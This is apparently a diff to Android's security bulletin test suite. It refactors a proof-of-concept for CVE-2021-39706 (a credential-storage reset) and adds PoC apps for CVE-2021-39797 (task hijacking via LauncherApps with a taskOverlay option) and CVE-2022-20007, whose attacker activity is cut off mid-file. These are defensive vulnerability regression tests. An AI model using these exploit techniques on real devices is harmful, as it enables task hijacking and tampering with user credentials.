+
     @Before
     public void setUp() {
         // Initialize UiDevice instance
-        device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        context = InstrumentationRegistry.getInstrumentation().getContext();
-        packageManager = context.getPackageManager();
-        resources = context.getResources();
-        settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
-                : resources.getString(R.string.settingsPkg);
-        assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
-                isPackageInstalled(settingsPkg));
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mResources = mContext.getResources();
     }
 
     @Test
     public void testCredentialReset() {
         final byte[] cert = TEST_CA.getBytes();
-        PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
-        assumeFalse(resources.getString(R.string.certInstalled),
-                policyManager.hasCaCertInstalled(cert));
-        assumeTrue(resources.getString(R.string.certInstallFail),
-                policyManager.installCaCert(cert));
-        assumeTrue(resources.getString(R.string.certNotFound),
-                policyManager.hasCaCertInstalled(cert));
+        PocPolicyManager policyManager = new PocPolicyManager(mContext);
+        boolean isPocCaCertInstalled = false;
+        try {
+            assumeFalse(mResources.getString(R.string.certInstalled),
+                    policyManager.hasCaCertInstalled(cert));
+            assumeTrue(mResources.getString(R.string.certInstallFail),
+                    policyManager.installCaCert(cert));
+            isPocCaCertInstalled = policyManager.hasCaCertInstalled(cert);
+            assumeTrue(mResources.getString(R.string.certNotFound), isPocCaCertInstalled);
+            String settingsPkg =
+                    mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                            ? mResources.getString(R.string.settingsPkgCar)
+                            : mResources.getString(R.string.settingsPkg);
+            assumeTrue(settingsPkg + mResources.getString(R.string.pkgInstallFail),
+                    isPackageInstalled(settingsPkg));
 
-        // Open the PoC and attempt to reset credentials
-        openApplication(resources.getString(R.string.pkgName));
-        // Button is used to reset credentials after confirming that PoC opened successfully
-        tapText(resources.getString(R.string.cleanCache));
-        if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
-            // Press OK in the reset dialog which confirms before clearing certificates
-            tapText(resources.getString(R.string.oK));
-        }
-        long end = System.currentTimeMillis() + TIMEOUT;
-        while (System.currentTimeMillis() < end) {
-            if (!policyManager.hasCaCertInstalled(cert)) {
-                // Without fix, the certificate is reset
-                fail(resources.getString(R.string.failMessage));
+
+            // Open the PoC and attempt to reset credentials
+            openApplication(mContext.getPackageName());
+            // Button is used to reset credentials after confirming that PoC opened successfully
+            tapText(mResources.getString(R.string.cleanCache));
+            if (mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+                // Press OK in the reset dialog which confirms before clearing certificates
+                tapText(mResources.getString(R.string.oK));
+            }
+            long end = System.currentTimeMillis() + TIMEOUT;
+            while (System.currentTimeMillis() < end) {
+                if (!policyManager.hasCaCertInstalled(cert)) {
+                    // Without fix, the certificate is reset
+                    fail(mResources.getString(R.string.failMessage));
+                }
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // uninstall CaCert if it was installed earlier and isn't uninstalled till now
+                if (isPocCaCertInstalled && policyManager.hasCaCertInstalled(cert)) {
+                    // With fix, the certificate is not reset. Uninstall it explicitly
+                    policyManager.uninstallCaCert(cert);
+                }
+                SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                        getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
+                assumeNotNull(sharedPrefs);
+                String assumptionFailure =
+                        sharedPrefs.getString(getStringRes(R.string.messageKey), null);
+                assumeTrue(assumptionFailure, assumptionFailure == null);
+            } catch (Exception e) {
+                assumeNoException(e);
             }
         }
-
-        // With fix, the certificate is not reset. Uninstall it explicitly
-        policyManager.uninstallCaCert(cert);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
index 7d112f2..4368425 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -16,26 +16,17 @@
 
 package android.security.cts.CVE_2021_39706;
 
-import static org.junit.Assume.assumeNoException;
-
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.view.View;
 import android.widget.Button;
 
-import androidx.test.InstrumentationRegistry;
-
 public class PocActivity extends Activity {
 
-    public static boolean checkIsCar() {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageManager pm = context.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -50,17 +41,22 @@
     }
 
     private void credentialStorageReset() {
-        boolean isCar = checkIsCar();
-        Intent intent = new Intent("com.android.credentials.RESET");
-        String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
-                : getResources().getString(R.string.settingsPkg);
-        String cls = isCar ? getResources().getString(R.string.certClsCar)
-                : getResources().getString(R.string.certCls);
-        intent.setClassName(pkg, cls);
         try {
+            boolean isCar = getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+            Intent intent = new Intent("com.android.credentials.RESET");
+            String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+                    : getResources().getString(R.string.settingsPkg);
+            String cls = isCar ? getResources().getString(R.string.certClsCar)
+                    : getResources().getString(R.string.certCls);
+            intent.setClassName(pkg, cls);
             startActivity(intent);
         } catch (Exception e) {
-            assumeNoException(e);
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putString(getString(R.string.messageKey),
+                    getString(R.string.assumptionFailureMessage));
+            edit.commit();
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/Android.bp
new file mode 100644
index 0000000..4a58ef3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39797-target",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..514c75a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.security.cts.CVE_2021_39797_target">
+    <application android:label="CVE-2021-39797-target">
+        <activity android:name=".TargetActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/src/android/security/cts/CVE_2021_39797_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/src/android/security/cts/CVE_2021_39797_target/TargetActivity.java
new file mode 100644
index 0000000..b49da17
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/src/android/security/cts/CVE_2021_39797_target/TargetActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39797_target;
+
+import android.app.Activity;
+
+public class TargetActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/Android.bp
new file mode 100644
index 0000000..aa4e813
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39797-test",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..31c61f7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.security.cts.CVE_2021_39797_test">
+    <application android:label="CVE-2021-39797-test">
+        <activity android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39797_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/integers.xml
new file mode 100644
index 0000000..363df00
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="noAssumptionFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/strings.xml
new file mode 100644
index 0000000..e61e413
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/strings.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="appUiErrorTargetApp">Timed out waiting on UI of CVE_2021_39797_target App</string>
+    <string name="appUiErrorTestApp">Timed out waiting on UI of CVE_2021_39797_test App</string>
+    <string name="attrTaskOverlay">android.activity.taskOverlay</string>
+    <string name="attrLaunchTaskId">android.activity.launchTaskId</string>
+    <string name="attrPIntentLaunchFlags">android.activity.pendingIntentLaunchFlags</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="errorMessage">Device is vulnerable to b/209607104 !!</string>
+    <string name="errorNullCheckPIntent">getMainActivityLaunchIntent returned null, it is expected
+    to return a non-null result</string>
+    <string name="flagTaskSwapped">taskSwapped</string>
+    <string name="invokeExceptionMsg">Got an exception while calling Method.invoke() on
+    LauncherApps method getMainActivityLaunchIntent instance</string>
+    <string name="messageKey">message</string>
+    <string name="noMethodExceptionMsg">Got NoSuchMethodException for LauncherApps method
+    getMainActivityLaunchIntent</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">prefs</string>
+    <string name="startIntentSenderExceptionMsg">Got an exception while calling startIntentSender
+    </string>
+    <string name="targetPkg">android.security.cts.CVE_2021_39797_target</string>
+    <string name="targetActivityName">android.security.cts.CVE_2021_39797_target.TargetActivity
+    </string>
+    <string name="targetFunction">getMainActivityLaunchIntent</string>
+    <string name="taskId">taskId</string>
+    <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/DeviceTest.java
new file mode 100644
index 0000000..d9a2da3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/DeviceTest.java
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39797_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    static final int TIMEOUT_MS = 10000;
+
+    @Test
+    public void testTaskOverride() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        assumeNotNull(device);
+        String targetPkg = context.getString(R.string.targetPkg);
+        String targetActivityName = context.getString(R.string.targetActivityName);
+
+        // Start the TargetActivity to make it a recent task when we start the PocActivity
+        Intent targetIntent = new Intent();
+        targetIntent.setComponent(new ComponentName(targetPkg, targetActivityName));
+        targetIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(targetIntent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(context.getString(R.string.activityNotFoundMsg, targetIntent), e);
+        }
+        assumeTrue(context.getString(R.string.appUiErrorTargetApp),
+                device.wait(Until.hasObject(By.pkg(targetPkg)), TIMEOUT_MS));
+
+        // Start the PocActivity
+        device.pressHome();
+        Intent intent = new Intent(context, PocActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+        }
+
+        // Wait on a result from PocActivity
+        SharedPreferences sharedPrefs = context.getSharedPreferences(
+                context.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+        assumeNotNull(sharedPrefs);
+        final Semaphore preferenceChanged = new Semaphore(0);
+        OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+            @Override
+            public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
+                if (key.equals(context.getString(R.string.resultKey))) {
+                    preferenceChanged.release();
+                }
+            }
+        };
+        sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+        try {
+            preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            assumeNoException(context.getString(R.string.timedOutPocActivity), e);
+        }
+        int result = sharedPrefs.getInt(context.getString(R.string.resultKey),
+                context.getResources().getInteger(R.integer.assumptionFailure));
+        String message = sharedPrefs.getString(context.getString(R.string.messageKey),
+                context.getString(R.string.defaultSemaphoreMsg));
+        assumeTrue(message,
+                result != context.getResources().getInteger(R.integer.assumptionFailure));
+
+        // Try launching the TargetActivity again. Without fix, it is supposed to be hijacked by
+        // the PocActivity and PocActivity should be started in its place.
+        try {
+            context.startActivity(targetIntent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(context.getString(R.string.activityNotFoundMsg, targetIntent), e);
+        }
+
+        // Wait for the UI of TargetActivity
+        boolean targetActivityDisplayed =
+                device.wait(Until.hasObject(By.pkg(targetPkg)), TIMEOUT_MS);
+
+        // Check if the PocActivity task came up on the screen replacing the TargetActivity task
+        boolean taskSwapped =
+                sharedPrefs.getBoolean(context.getString(R.string.flagTaskSwapped), false);
+
+        // Fail the test only if TargetActivity did not appear on the screen and the task of
+        // TargetActivity is hijacked by the PocActivity
+        assertFalse(context.getString(R.string.errorMessage),
+                !targetActivityDisplayed && taskSwapped);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/PocActivity.java
new file mode 100644
index 0000000..42eff75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/PocActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39797_test;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.IntentSender.SendIntentException;
+import android.content.SharedPreferences;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserHandle;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+public class PocActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        SharedPreferences prefs =
+                getSharedPreferences(getString(R.string.sharedPreferences), MODE_PRIVATE);
+        if (prefs == null) {
+            return;
+        }
+        int taskIdSaved = prefs.getInt(getString(R.string.taskId), -1);
+        if (taskIdSaved == -1) {
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putInt(getString(R.string.taskId), getTaskId());
+            editor.apply();
+        } else {
+            if ((taskIdSaved - 1) == getTaskId()) {
+                SharedPreferences.Editor editor = prefs.edit();
+                editor.putBoolean(getString(R.string.flagTaskSwapped), true);
+                editor.apply();
+            }
+            setResult(prefs, getResources().getInteger(R.integer.noAssumptionFailure), "");
+            return;
+        }
+
+        Method method;
+        try {
+            method = LauncherApps.class.getMethod(getString(R.string.targetFunction),
+                    ComponentName.class, Bundle.class, UserHandle.class);
+        } catch (NoSuchMethodException e) {
+            setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.noMethodExceptionMsg));
+            return;
+        }
+
+        Bundle options = new Bundle();
+        options.putBoolean(getString(R.string.attrTaskOverlay), true);
+        options.putInt(getString(R.string.attrLaunchTaskId), getTaskId() - 1);
+
+        PendingIntent pi;
+        try {
+            pi = (PendingIntent) method.invoke(getSystemService(LauncherApps.class),
+                    getIntent().getComponent(), options,
+                    UserHandle.getUserHandleForUid(Process.myUid()));
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.invokeExceptionMsg));
+            return;
+        }
+        if (pi == null) {
+            setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.errorNullCheckPIntent));
+            return;
+        }
+
+        Bundle sendOptions = new Bundle();
+        sendOptions.putInt(getString(R.string.attrPIntentLaunchFlags),
+                Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+
+        try {
+            startIntentSender(pi.getIntentSender(), null, 0, 0, 0, sendOptions);
+        } catch (SendIntentException e) {
+            setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.startIntentSenderExceptionMsg));
+            return;
+        }
+        setResult(prefs, getResources().getInteger(R.integer.noAssumptionFailure), "");
+    }
+
+    private void setResult(SharedPreferences sh, int result, String message) {
+        if (sh != null) {
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/Android.bp
new file mode 100644
index 0000000..4ae6cbf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20007-Attacker",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
new file mode 100644
index 0000000..9f7ac84
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20007_attacker"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2022-20007-Attacker"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true"
+            android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bed9e8d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+    <FrameLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:fitsSystemWindows="true">
+    </FrameLayout>
+</FrameLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
new file mode 100644
index 0000000..ad87ea7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_attacker;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
+        super.onCreate(savedInstanceState);
